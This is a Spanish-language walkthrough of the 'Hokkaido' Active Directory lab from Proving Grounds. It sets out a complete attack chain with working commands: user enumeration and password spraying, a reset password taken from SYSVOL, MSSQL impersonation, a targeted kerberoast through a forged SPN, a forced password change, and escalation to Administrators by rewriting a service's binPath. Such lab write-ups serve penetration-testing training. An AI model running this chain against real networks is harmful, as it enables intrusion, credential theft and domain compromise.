the_open_door
café
ESEN

Hokkaido

Proving Grounds PracticeMediaWindows192.168.114.40

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#oscp#password-spraying#sysvol#mssql-impersonate#kerberoasting-forced-spn#forcechangepassword#sc-config#insecure-service-permissions#bloodhound
TL;DR. Cadena AD completa: user spray revela info/info, SMB de homes guía a SYSVOL con password_reset.txt (Start123!) que se prueba contra la lista y valida discovery, MSSQL con IMPERSONATE para saltar a hrappdb-reader y leer sysauth con hrapp-service / Untimed$Runny, SPN forjado con bloodyAD sobre Hazel.Green que se craquea (haze1988), ForceChangePassword sobre molly.smith, RDP y una permisología incorrecta sobre el servicio AppReadiness que permite reescribir su binPath y añadirse al grupo Administrators.

Reconocimiento

Escaneo inicial

El escaneo de puertos combina un barrido UDP y un TCP completo:

ping -c 1 192.168.114.40      # ttl=125 → Windows
sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.114.40
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.114.40

Los puertos UDP relevantes: 53 (DNS), 88 (Kerberos), 123 (NTP), 389 (LDAP). El TCP dibuja un DC completo con MSSQL Server 2019 (1433/58538) y el dominio hokkaido-aerospace.com:

53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,8530,8531,9389,47001,49664-...

El certificado de LDAP y el ms-sql-ntlm-info de 1433 dan el nombre completo antes de tocar nada: commonName=dc.hokkaido-aerospace.com, NetBIOS_Domain_Name: HAERO, NetBIOS_Computer_Name: DC. Ese nombre hace falta resolverlo en local, porque Kerberos y varias herramientas trabajan contra el FQDN y no contra la IP:

nano /etc/hosts
cat /etc/hosts

el /etc/hosts con la línea 192.168.114.40 dc.hokkaido-aerospace.com añadida al final

127.0.0.1       localhost
127.0.1.1       kali

192.168.114.40  dc.hokkaido-aerospace.com

Acceso como info

Kerbrute + password spray

Sin credenciales, el primer paso es la enumeración de usuarios por Kerberos: el KDC responde distinto a un usuario que existe y a uno que no, y eso permite filtrar un diccionario enorme sin generar un solo intento de login fallido.

kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.114.40 \
  /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt

Kerbrute valida info, administrator y discovery

Kerbrute (repo) devuelve muy poco: tres usuarios reales (info, administrator y discovery), repetidos con distintas combinaciones de mayúsculas porque el diccionario los trae escritos de varias formas y Kerberos no distingue mayúsculas en el nombre de cuenta. Con eso ya se corta el barrido:

Version: dev (n/a) - 03/23/26 - Ronnie Flathers @ropnop

2026/03/23 22:30:53 >  Using KDC(s):
2026/03/23 22:30:53 >   192.168.114.40:88

2026/03/23 22:30:53 >  [+] VALID USERNAME:       info@hokkaido-aerospace.com
2026/03/23 22:30:58 >  [+] VALID USERNAME:       administrator@hokkaido-aerospace.com
2026/03/23 22:31:02 >  [+] VALID USERNAME:       INFO@hokkaido-aerospace.com
2026/03/23 22:31:18 >  [+] VALID USERNAME:       Info@hokkaido-aerospace.com
2026/03/23 22:31:35 >  [+] VALID USERNAME:       discovery@hokkaido-aerospace.com
2026/03/23 22:31:36 >  [+] VALID USERNAME:       Administrator@hokkaido-aerospace.com
^C

Con una lista de tres nombres, el password spray más barato es probar cada usuario contra sí mismo (-u users -p users), el patrón clásico de cuentas de servicio recién creadas:

nxc smb 192.168.114.40 -u users -p users --continue-on-success

Spray identifica info/info

El único acierto de la pasada es info:info (el resto de combinaciones devuelven STATUS_LOGON_FAILURE):

SMB  192.168.114.40  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:hokkaido-aerospace.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  192.168.114.40  445  DC  [+] hokkaido-aerospace.com\info:info
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\administrator:info STATUS_LOGON_FAILURE
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\discovery:info STATUS_LOGON_FAILURE
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\administrator:administrator STATUS_LOGON_FAILURE
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\discovery:administrator STATUS_LOGON_FAILURE
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\administrator:discovery STATUS_LOGON_FAILURE
SMB  192.168.114.40  445  DC  [-] hokkaido-aerospace.com\discovery:discovery STATUS_LOGON_FAILURE

Con las credenciales, lo primero es sustituir la lista de tres nombres de kerbrute por la lista real del dominio. --users la saca de RPC y el awk se queda solo con la columna del nombre:

nxc smb 192.168.114.40 -u 'info' -p 'info' --users | awk '{print $5}' | tail -n +4 > users
cat users

Lista de usuarios del dominio volcada por RPC

De tres pasamos a la treintena larga de cuentas reales, con dos nombres que luego serán la cadena entera (Hazel.Green y Molly.Smith):

Administrator      Charlene.Wallace   Julian.Davies
Guest              Cheryl.Singh       Hannah.O'Neill
krbtgt             Sian.Gordon        Rachel.Jones
Hazel.Green        Gordon.Brown       Declan.Woodward
Molly.Smith        Irene.Dean         Annette.Buckley
Alexandra.Little   Anthony.Anderson   Elliott.Jones
Victor.Kelly       Molly.Edwards      Grace.Lees
Catherine.Knight   Tracy.Wood         Deborah.Francis
Angela.Davies      Lynne.Tyler        Bruce.Cartwright
                                      Nigel.Brown
                                      Derek.Wyatt

Y el mapa de shares:

nxc smb 192.168.114.40 -u 'info' -p 'info' --shares

Shares expuestas

SMB  192.168.114.40  445  DC  [*] Enumerated shares
SMB  192.168.114.40  445  DC  Share                  Permissions   Remark
SMB  192.168.114.40  445  DC  -----                  -----------   ------
SMB  192.168.114.40  445  DC  ADMIN$                               Remote Admin
SMB  192.168.114.40  445  DC  C$                                   Default share
SMB  192.168.114.40  445  DC  homes                  READ,WRITE    user homes
SMB  192.168.114.40  445  DC  IPC$                   READ          Remote IPC
SMB  192.168.114.40  445  DC  NETLOGON               READ          Logon server share
SMB  192.168.114.40  445  DC  SYSVOL                 READ          Logon server share
SMB  192.168.114.40  445  DC  UpdateServicesPackages READ          A network share ... published on this WSUS system.
SMB  192.168.114.40  445  DC  WsusContent            READ          A network share ... on this WSUS system.
SMB  192.168.114.40  445  DC  WSUSTemp                             A network share used by Local Publishing from a Remote WSUS Console Instance.

Destacan homes (READ,WRITE) y SYSVOL (READ); el resto son shares por defecto o de WSUS.

homes: mucha promesa, cero contenido

homes es la que mejor pinta tiene: es la única con WRITE y guarda un directorio por usuario, o sea perfiles personales enteros al alcance de una cuenta de servicio.

smbclient -U 'info%info' //192.168.114.40/homes
dir
recurse ON
prompt OFF
mget *

Listado de la share homes: veinte directorios de usuario

El listado confirma veinte carpetas nominales, todas creadas de golpe el mismo día (Sat Nov 25 14:57:09 2023), que es la firma de un script de aprovisionamiento y no de gente usando su perfil:

smb: \> dir
  .                                   D        0  Mon Mar 23 22:41:25 2026
  ..                                DHS        0  Mon Mar 23 21:55:18 2026
  Angela.Davies                       D        0  Sat Nov 25 14:57:09 2023
  Annette.Buckley                     D        0  Sat Nov 25 14:57:09 2023
  Anthony.Anderson                    D        0  Sat Nov 25 14:57:09 2023
  <SNIP>
  Victor.Kelly                        D        0  Sat Nov 25 14:57:09 2023

                7699711 blocks of size 4096. 1917512 blocks available

El mget * recursivo baja la estructura sin quejarse, pero al mirarla en local se ve el problema:

ls -l

Todos los directorios descargados están vacíos

Veinte directorios de 4096 bytes, es decir, veinte directorios vacíos. No ha caído ni un fichero:

total 84
drwxr-xr-x 2 root root 4096 Mar 23 22:54  Angela.Davies
drwxr-xr-x 2 root root 4096 Mar 23 22:54  Annette.Buckley
drwxr-xr-x 2 root root 4096 Mar 23 22:54  Anthony.Anderson
<SNIP>
drwxr-xr-x 2 root root 4096 Mar 23 22:54  Victor.Kelly
-rw-r--r-- 1 root root  433 Mar 23 22:45  users

La share sirvió para una cosa, confirmar los nombres de usuario con formato Nombre.Apellido, pero como fuente de secretos es un callejón sin salida. El permiso de escritura tampoco lleva a ninguna parte aquí: nadie ejecuta lo que se deje en un perfil ajeno.

SYSVOL - password_reset.txt

SYSVOL (donde el DC guarda GPOs y scripts de logon) es el vector clásico: se descarga recursivamente.

smbclient //192.168.114.40/SYSVOL -U info%info
recurse ON
prompt OFF
mget *

SYSVOL descargado

Entre lo que baja mget (deniega el listado de DfsrPrivate) aparece un fichero fuera de sitio en scripts\temp:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \hokkaido-aerospace.com\DfsrPrivate\*
getting file \hokkaido-aerospace.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 ...
getting file \hokkaido-aerospace.com\scripts\temp\password_reset.txt of size 27 as hokkaido-aerospace.com/scripts/temp/password_reset.txt (0.2 KiloBytes/sec) ...
<SNIP>
smb: \> exit
ls -R | grep -i pass -C 1
cat ./scripts/temp/password_reset.txt

password_reset.txt con Start123!

El fichero solo contiene la contraseña de reseteo inicial, Start123!:

./scripts/temp:
password_reset.txt

Initial Password: Start123!

Un segundo spray con Start123! sobre la lista de usuarios reales valida discovery:

nxc smb 192.168.114.40 -u users -p 'Start123!' --continue-on-success | grep -vi failure

discovery valida

De toda la lista, solo discovery:Start123! sobrevive al grep -vi failure:

SMB  192.168.229.40  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:hokkaido-aerospace.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  192.168.229.40  445  DC  [+] hokkaido-aerospace.com\discovery:Start123!

Acceso como hrapp-service (user pivoting)

Rama descartada: kerberoast con discovery

Lo primero que se prueba con una credencial nueva de dominio es un Kerberoasting clásico, que solo necesita estar autenticado:

GetUserSPNs.py hokkaido-aerospace.com/Discovery:'Start123!' -request

GetUserSPNs devuelve discovery y maintenance

Aparecen dos cuentas con SPN, las dos colgando de CN=services, o sea cuentas de servicio de manual:

ServicePrincipalName                   Name         MemberOf                                            PasswordLastSet             LastLogon
-------------------------------------  -----------  --------------------------------------------------  --------------------------  --------------------------
discover/dc.hokkaido-aerospace.com     discovery    CN=services,CN=Users,DC=hokkaido-aerospace,DC=com   2023-12-06 15:42:56.221832  2026-03-24 23:20:02.557829
maintenance/dc.hokkaido-aerospace.com  maintenance  CN=services,CN=Users,DC=hokkaido-aerospace,DC=com   2023-11-25 13:39:04.869703  <never>

[-] CCache file is not found. Skipping...
$krb5tgs$23$*discovery$HOKKAIDO-AEROSPACE.COM$hokkaido-aerospace.com/discovery*$c2831919c231a0319c55a1238bc257b7$2e265f8db527b0bfeb0ed89b1c1bf8bc36ed1e611a3c6fc68bd4748<SNIP>

La rama no avanza: el TGS de discovery es redundante (su contraseña ya la tenemos, Start123!) y el de maintenance habría que romperlo a ciegas sin ninguna pista de cómo es. Se aparca y se vuelve al inventario de puertos, donde queda un servicio grande sin tocar: MSSQL en 1433. El dato que sí se guarda de aquí es que discovery es una cuenta de servicio, lo que explica que tenga permisos raros en la base de datos.

MSSQL como discovery + IMPERSONATE

discovery puede autenticarse en MSSQL con autenticación Windows.

impacket-mssqlclient 'hokkaido-aerospace.com/discovery:Start123!@192.168.229.40' -windows-auth

Login en MSSQL

El handshake conmuta a TLS y devuelve un prompt como HAERO\discovery sobre Microsoft SQL Server 2019 RTM (15.0.2000):

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (HAERO\discovery  guest@master)> 

Enumeración de permisos: sys.server_permissions marca IMPERSONATE sobre hrappdb-reader. Con EXECUTE AS LOGIN se salta a esa identidad, algo típico de bases con roles cruzados donde una cuenta de solo-lectura puede leerse porque nadie miró ese permiso.

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name, principal_id FROM sys.server_principals WHERE principal_id IN (267,268);
EXECUTE AS LOGIN = 'hrappdb-reader';

IMPERSONATE hrappdb-reader

Con la nueva identidad, se explora hrappdb:

USE hrappdb;
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name = 'sysauth';
SELECT * FROM sysauth;
-- id | name           | password
-- 0  | hrapp-service  | Untimed$Runny

Fila sysauth con hrapp-service / Untimed$Runny

Validar la credencial en todos los servicios

Lo que hay en la tabla es una contraseña de aplicación, no necesariamente una cuenta de dominio. Se comprueba lanzándola contra la lista completa de usuarios, primero en MSSQL y después en SMB:

nxc mssql 192.168.229.40 -u users -p 'Untimed$Runny' --continue-on-success | grep -vi failed
nxc smb 192.168.229.40 -u 'hrapp-service' -p 'Untimed$Runny' --shares

La contraseña de la BD vale como credencial de dominio

Es reutilización de credenciales de libro: la contraseña que la aplicación guardaba en claro en su propia base de datos es también la de la cuenta de dominio hrapp-service.

MSSQL  192.168.229.40  1433  DC  [*] Windows Server 2022 Build 20348 (name:DC) (domain:hokkaido-aerospace.com) (EncryptionReq:False)
MSSQL  192.168.229.40  1433  DC  [+] hokkaido-aerospace.com\hrapp-service:Untimed$Runny

SMB    192.168.229.40  445   DC  [+] hokkaido-aerospace.com\hrapp-service:Untimed$Runny
SMB    192.168.229.40  445   DC  [*] Enumerated shares
SMB    192.168.229.40  445   DC  Share                  Permissions   Remark
SMB    192.168.229.40  445   DC  homes                  READ,WRITE    user homes
SMB    192.168.229.40  445   DC  NETLOGON               READ          Logon server share
SMB    192.168.229.40  445   DC  SYSVOL                 READ          Logon server share

Por SMB no gana nada: ve exactamente las mismas shares que info. Si esta cuenta vale para algo será por lo que pueda hacer dentro del directorio, y eso solo se ve mirando las ACL.

Acceso como Hazel.Green (BloodHound)

Recolección con bloodhound-python

BloodHound se alimenta por LDAP y le basta con cualquier usuario del dominio, así que la recolección se hace con info, la credencial más pobre que tenemos:

bloodhound-python -u info -p info -ns 192.168.229.40 --zip -c All -d hokkaido-aerospace.com

Antes de tirar del grafo se puede sacar lo mismo a pelo, que además sirve para comprobar que la credencial lee el directorio: un ldapsearch con info vuelca los atributos de cada objeto del dominio.

ldapsearch -x -H ldap://192.168.114.40 -D "info@hokkaido-aerospace.com" -w 'info' \
  -b "DC=hokkaido-aerospace,DC=com" | grep -iE 'userprincipalname' -C 15

ldapsearch con la credencial info vuelca los atributos de los objetos del dominio, con userAccountControl, badPwdCount y objectSid entre ellos

objectGUID:: InwhUlSPsE+s6gnpAH4s2g==
userAccountControl: 66080
badPwdCount: 34
pwdLastSet: 133463540865654973
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAkqRcwCz3GTr5QghPUgQAAA==

Sirve para confirmar el acceso, pero es inmanejable: son cientos de líneas por objeto y sin relaciones entre ellos. Para eso está BloodHound.

Recolección de bloodhound-python

Siete segundos para todo el dominio, que es diminuto: 2 equipos, 34 usuarios, 62 grupos, 6 OUs y ningún trust.

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: hokkaido-aerospace.com
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.hokkaido-aerospace.com
INFO: Found 2 computers
INFO: Found 34 users
INFO: Found 62 groups
INFO: Found 2 gpos
INFO: Found 6 ous
INFO: Found 0 trusts
INFO: Done in 00M 07S
INFO: Compressing output into 20260324200425_bloodhound.zip

El zip se sube a una instancia de BloodHound CE levantada con bloodhound-cli, que monta la pila entera (BloodHound + PostgreSQL + Neo4j) con Docker Compose:

wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

La ruta completa en un grafo

Con hrapp-service como origen y molly.smith como destino, Pathfinding devuelve la cadena entera de una vez, y es toda de abuso de ACL: ni un exploit, ni un CVE, solo permisos mal puestos.

Ruta de BloodHound: GenericWrite, MemberOf y ForceChangePassword

HRAPP-SERVICE ──GenericWrite──> HAZEL.GREEN ──MemberOf──> TIER2-ADMINS ──ForceChangePassword──> MOLLY.SMITH

Merece la pena leer despacio la parte del medio, porque es la que se suele pasar por alto: Hazel.Green no tiene el ForceChangePassword a título personal. Lo tiene el grupo Tier2-Admins, y ella lo hereda por ser miembro. Las ACE se aplican a cualquier principal del token, así que una pertenencia a grupo aparentemente inocua arrastra todos los permisos del grupo.

El panel de abuso de GenericWrite ofrece dos caminos sobre Hazel.Green:

  • Targeted Kerberoast, escribiendo un servicePrincipalName en la víctima para poder pedir su TGS.
  • Shadow Credentials con pyWhisker, escribiendo un msDS-KeyCredentialLink para autenticarse como ella sin tocar su contraseña.

Se clonó pyWhisker por si acaso, pero al final no hizo falta: la contraseña de Hazel.Green resultó ser lo bastante mala como para que el kerberoast dirigido bastase.

bloodyAD - forzar un SPN y kerberoast

Es el patrón de Kerberoasting dirigido: se crea un SPN inventado en la víctima con bloodyAD, se pide su TGS con GetUserSPNs, y se craquea el hash offline.

La alternativa al SPN forzado, cuando el objetivo es directamente tomar la cuenta, es Shadow Credentials con pywhisker, que no viene en Kali y hay que clonar:

git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker
pip3 install -r requirements.txt --break-system-packages

git clone de ShutdownRepo/pywhisker y la instalación de sus dependencias, que ya estaban satisfechas

Requirement already satisfied: impacket in /usr/lib/python3/dist-packages
Requirement already satisfied: cryptography in /usr/lib/python3/dist-packages
Requirement already satisfied: six in /usr/lib/python3/dist-packages

Aquí se toma el camino del SPN forzado, que con GenericWrite es más directo:

bloodyAD --host 192.168.229.40 -d hokkaido-aerospace.com \
  -u hrapp-service -p 'Untimed$Runny' \
  set object Hazel.Green serviceprincipalname -v 'hello/world'

impacket-GetUserSPNs -dc-ip 192.168.229.40 \
  'hokkaido-aerospace.com/hrapp-service:Untimed$Runny' \
  -request -request-user "Hazel.Green"

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Kerberoast forzado + john -&gt; haze1988

bloodyAD confirma el SPN falso, GetUserSPNs lo emite como TGS (la cuenta pertenece a Tier2-Admins) y john lo revienta en dos segundos: haze1988.

[+] Hazel.Green's servicePrincipalName has been updated

ServicePrincipalName  Name         MemberOf                                                      PasswordLastSet             LastLogon  Delegation
--------------------  -----------  ------------------------------------------------------------  --------------------------  ---------
hello/world           Hazel.Green  CN=Tier2-Admins,OU=admins,OU=it,DC=hokkaido-aerospace,DC=com  2023-12-06 16:34:46.565497  <never>

$krb5tgs$23$*Hazel.Green$HOKKAIDO-AEROSPACE.COM$hokkaido-aerospace.com/Hazel.Green*$80a58caefb294817796412b3c2e97b3e$dfa7a21ba71c27961a33996034951d0058d21ca0db15b2b4103<SNIP>

Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
haze1988         (?)
1g 0:00:00:02 DONE (2026-03-25 00:44) 0.5000g/s 3830Kp/s 3830Kc/s 3830KC/s hazizan..hayven1106

Acceso como molly.smith

bloodyAD - ForceChangePassword sobre molly.smith

Con hazel.green en la mano se recorre el último tramo del grafo, el ForceChangePassword que hereda de Tier2-Admins. Se le cambia la contraseña a molly.smith sin conocer la anterior:

bloodyAD --host 192.168.229.40 -d hokkaido-aerospace.com \
  -u hazel.green -p 'haze1988' \
  set password molly.smith 'Start123!'

ForceChangePassword aplicado

bloodyAD no pide la contraseña anterior y responde Password changed successfully!:

[+] Password changed successfully!

RDP con la nueva contraseña:

xfreerdp /u:molly.smith /p:Start123! /v:192.168.229.40

RDP como molly.smith

1894735197269cab3896b04f89178d24  (local.txt)

local.txt como molly.smith

Escalada de Privilegios

Subir accesschk: 2 KB que no eran un binario

La primera descarga sale de un gist que se llama windows_privesc y se guarda directamente como accesschk.exe:

wget https://gist.githubusercontent.com/sckalath/8dacd032b65404ef7411/raw/9149b02372d8ca903f03f2fe3bce3a2830981033/windows_privesc -O accesschk.exe
python3 -m http.server 80

El gist pesa 2138 bytes y es text/plain

El propio wget canta el problema en la línea del Content-Type, aunque el nombre del fichero de salida lo disimule:

HTTP request sent, awaiting response ... 200 OK
Length: 2138 (2.1K) [text/plain]
Saving to: 'accesschk.exe'

accesschk.exe   100%[========>]   2.09K  --.-KB/s   in 0s
2026-03-25 01:16:55 (49.5 MB/s) - 'accesschk.exe' saved [2138/2138]

2138 bytes y text/plain: eso es una chuleta de comandos, no el ejecutable de Sysinternals. El curl en la máquina lo transfiere igual de contento (los 2138 bytes llegan enteros) y solo al ejecutarlo se ve que ahí no hay nada. Un Content-Length de 2 KB para un binario de Windows es la señal de alarma que ahorra ese rodeo.

La solución es sacar el binario de verdad de un repo que lo empaqueta:

git clone https://github.com/hansalemaos/accesschk2df
cd accesschk2df
ls
python3 -m http.server 80

El repo trae los tres binarios reales de accesschk

$ ls
Eula.txt  LICENSE  README.MD  __init__.py  accesschk.exe  accesschk64.exe  accesschk64a.exe  requirements.txt  thirdparty.json

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.229.40 - - [25/Mar/2026 01:21:13] "GET /accesschk.exe HTTP/1.1" 200 -
192.168.229.40 - - [25/Mar/2026 01:21:31] "GET /accesschk.exe HTTP/1.1" 200 -

C:\Users\molly.smith\Desktop>curl http://192.168.45.164/accesschk.exe -o accesschk.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100 1433k  100 1433k    0     0  3916k      0 --:--:-- --:--:-- --:--:-- 3917k

Con el binario bueno en el directorio de herramientas, se sirve por HTTP y se baja desde la sesión RDP con curl, que en Windows 10 ya viene de serie:

python3 -m http.server 80
curl http://192.168.45.164/winpeas.exe -o winpeas.exe

a la izquierda el http.server registrando el GET de winpeas.exe y a la derecha la sesión RDP descargándolo con curl

192.168.229.40 - - [25/Mar/2026 01:18:44] "GET /winpeas.exe HTTP/1.1" 200 -

C:\Users\molly.smith\Desktop>curl http://192.168.45.164/winpeas.exe -o winpeas.exe
100 1891k  100 1891k    0     0  5105k      0 --:--:-- --:--:-- --:--:-- 5097k

Ahí sí están los tres binarios de Sysinternals (32 bits, 64 bits e Itanium), y la transferencia pasa de 2 KB a 1433 KB, que ya es tamaño de ejecutable:

Eula.txt  LICENSE  README.MD  __init__.py  accesschk.exe  accesschk64.exe  accesschk64a.exe  requirements.txt  thirdparty.json

C:\Users\molly.smith\Desktop>curl http://192.168.45.164/accesschk.exe -o accesschk.exe
  % Total    % Received % Xferd  Average Speed
  100  1433k  100  1433k      0      0    3916k

accesschk - AppReadiness con SERVICE_ALL_ACCESS

Con el binario bueno se listan los objetos sobre los que molly.smith tiene escritura. La -c limita la búsqueda a servicios, -u calla los errores, -w filtra a permiso de escritura, -q quita el banner y -v detalla los permisos concretos:

accesschk.exe -cuwqv "molly.smith" * /accepteula

Decenas de servicios con SERVICE_ALL_ACCESS

La salida es desconcertante la primera vez: no marca un servicio, marca decenas, todos con SERVICE_ALL_ACCESS.

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich

RW ADWS
        SERVICE_ALL_ACCESS
RW ALG
        SERVICE_ALL_ACCESS
RW AppHostSvc
        SERVICE_ALL_ACCESS
RW AppIDSvc
        SERVICE_ALL_ACCESS
RW AppReadiness
        SERVICE_ALL_ACCESS
RW aspnet_state
        SERVICE_ALL_ACCESS
<SNIP>

Un permiso así de generalizado no es un servicio mal instalado, es alguien que ha tocado la ACL por defecto del SCM a nivel de máquina. Da igual cuál se elija mientras corra como LocalSystem, y AppReadiness es buen candidato: existe siempre en Windows Server, está parado casi todo el tiempo y nadie lo echa de menos.

sc qc AppReadiness
accesschk.exe -cuwqv "molly.smith" AppReadiness

accesschk marca AppReadiness

sc qc cierra el caso: el servicio arranca bajo LocalSystem, así que cualquier cambio de BINARY_PATH_NAME se ejecuta como SYSTEM.

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        DISPLAY_NAME       : App Readiness
        SERVICE_START_NAME : LocalSystem

RW AppReadiness
        SERVICE_ALL_ACCESS

START_TYPE: DEMAND_START es la guinda: el servicio está parado y se arranca a petición, así que podemos dispararlo nosotros sin esperar a un reinicio.

Lo delicado: no hace falta arrancar realmente el servicio. sc config reescribe el binPath, y al forzar un start (aunque falle con 1053 por timeout) el SCM ya ejecuta el comando como SYSTEM antes del control.

sc config AppReadiness binPath= "cmd /c net localgroup Administrators molly.smith /add"
sc stop AppReadiness
sc start AppReadiness
net localgroup administrators

molly.smith añadido a Administrators

El stop falla con 1062 (nunca estaba arrancado) y el start con 1053 (timeout), pero el SCM ya lanzó el binPath como SYSTEM antes de rendirse: net localgroup administrators muestra molly.smith dentro del grupo:

C:\Users\molly.smith\Desktop>sc config AppReadiness binPath= "cmd /c net localgroup Administrators molly.smith /add"
[SC] ChangeServiceConfig SUCCESS

C:\Users\molly.smith\Desktop>sc stop AppReadiness
[SC] ControlService FAILED 1062:
The service has not been started.

C:\Users\molly.smith\Desktop>sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

C:\Users\molly.smith\Desktop>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
molly.smith
The command completed successfully.

Estar en el grupo no es tener el privilegio

Aquí hay un detalle que atasca a mucha gente: la consola desde la que se lanzó el sc config sigue sin poder entrar en C:\Users\Administrator. La pertenencia a grupos se resuelve al iniciar sesión y se congela en el token del proceso; el token de esa consola se creó antes del net localgroup /add y no sabe nada del cambio. Hay que abrir un proceso nuevo elevado.

La consola nueva se abre desde el menú de inicio, con Run as administrator, que es lo que fuerza a Windows a construir un token elevado en vez de reutilizar el que ya había:

el menú de inicio con Command Prompt seleccionado y la opción Run as administrator resaltada

UAC pide credenciales de administrador para molly.smith

Y ahí se confirma que el cambio ha surtido efecto: UAC acepta a molly.smith del dominio HAERO como administrador válido para elevar. Antes del sc config esas mismas credenciales habrían sido rechazadas.

Consola elevada

La barra de título dice Administrator: Command Prompt. El proceso es el mismo cmd.exe de siempre, pero su token ya trae el SID de Administradores habilitado.

Proof.txt

proof.txt

La comprobación va encadenada para que se vea de quién es la sesión: la flag se lee desde el escritorio del Administrador, pero whoami sigue devolviendo haero\molly.smith. No se ha robado la cuenta del administrador, se le ha dado a una cuenta normal el mismo nivel de acceso, que a efectos prácticos es lo mismo y deja mucho menos rastro.

C:\Users\Administrator>type Desktop\proof.txt && whoami && ipconfig && hostname
9d29b511b7336d70870d85d89ebc7b50
haero\molly.smith

Windows IP Configuration

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::a01b:1a46:acd2:d7c4%6
   IPv4 Address. . . . . . . . . . . : 192.168.229.40
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.229.254
dc

Cadena de ataque

kerbrute -> info, administrator, discovery
  └─ nxc spray users/users -> info/info
     ├─ homes (READ,WRITE) -> veinte directorios vacios  [callejon sin salida]
     └─ smbclient SYSVOL -> scripts/temp/password_reset.txt (Start123!)
        └─ spray Start123! -> discovery
           ├─ GetUserSPNs -> discovery + maintenance     [callejon sin salida]
           └─ MSSQL windows-auth -> IMPERSONATE hrappdb-reader
              └─ hrappdb.sysauth -> hrapp-service / Untimed$Runny
                 └─ BloodHound: GenericWrite sobre Hazel.Green
                    └─ bloodyAD set serviceprincipalname -> GetUserSPNs -> john -> haze1988
                       └─ Hazel.Green MemberOf Tier2-Admins
                          └─ ForceChangePassword sobre molly.smith -> Start123!
                             └─ RDP -> accesschk -> AppReadiness (SERVICE_ALL_ACCESS)
                                └─ sc config binPath -> Administrators += molly.smith
                                   └─ consola elevada -> SYSTEM

Lecciones aprendidas

  • La secuencia kerbrute → spray usuarios/usuarios → SYSVOL → password_reset.txt → spray password inicial → siguiente usuario es el bootstrap AD más frecuente. Merece la pena automatizarla.
  • SYSVOL es leído por cualquier usuario del dominio y a menudo contiene scripts de logon con secretos, GPP cpassword antiguos y ficheros temporales que se olvidaron ahí.
  • La share con mejor pinta no es la que da el paso. homes tenía WRITE y veinte perfiles de usuario, y estaba vacía; SYSVOL, que es de solo lectura y la ve todo el dominio, guardaba la contraseña. Conviene vaciar las dos antes de decidir cuál era la buena.
  • IMPERSONATE en MSSQL es una escalada horizontal casi olvidada: revisar sys.server_permissions en cualquier engagement con acceso al SQL.
  • Una contraseña sacada de una base de datos hay que probarla contra el dominio entero, no solo contra la cuenta que la guardaba. Aquí Untimed$Runny era además la credencial de dominio de hrapp-service.
  • GenericWrite no es una sola técnica sino un menú: permite escribir el servicePrincipalName (Kerberoasting dirigido) o el msDS-KeyCredentialLink (Shadow Credentials). La primera depende de que la contraseña de la víctima sea débil; la segunda no depende de nada y funciona igual con una contraseña de 30 caracteres.
  • Leer el grafo entero, no solo las aristas de los extremos. El eslabón del medio en esta caja es un MemberOf: Hazel.Green no tenía ningún permiso sobre molly.smith, lo tenía su grupo.
  • ForceChangePassword (o GenericAll) es el atajo AD por excelencia: si un usuario A puede cambiar la password de B, A es efectivamente B (con log de PasswordLastSet).
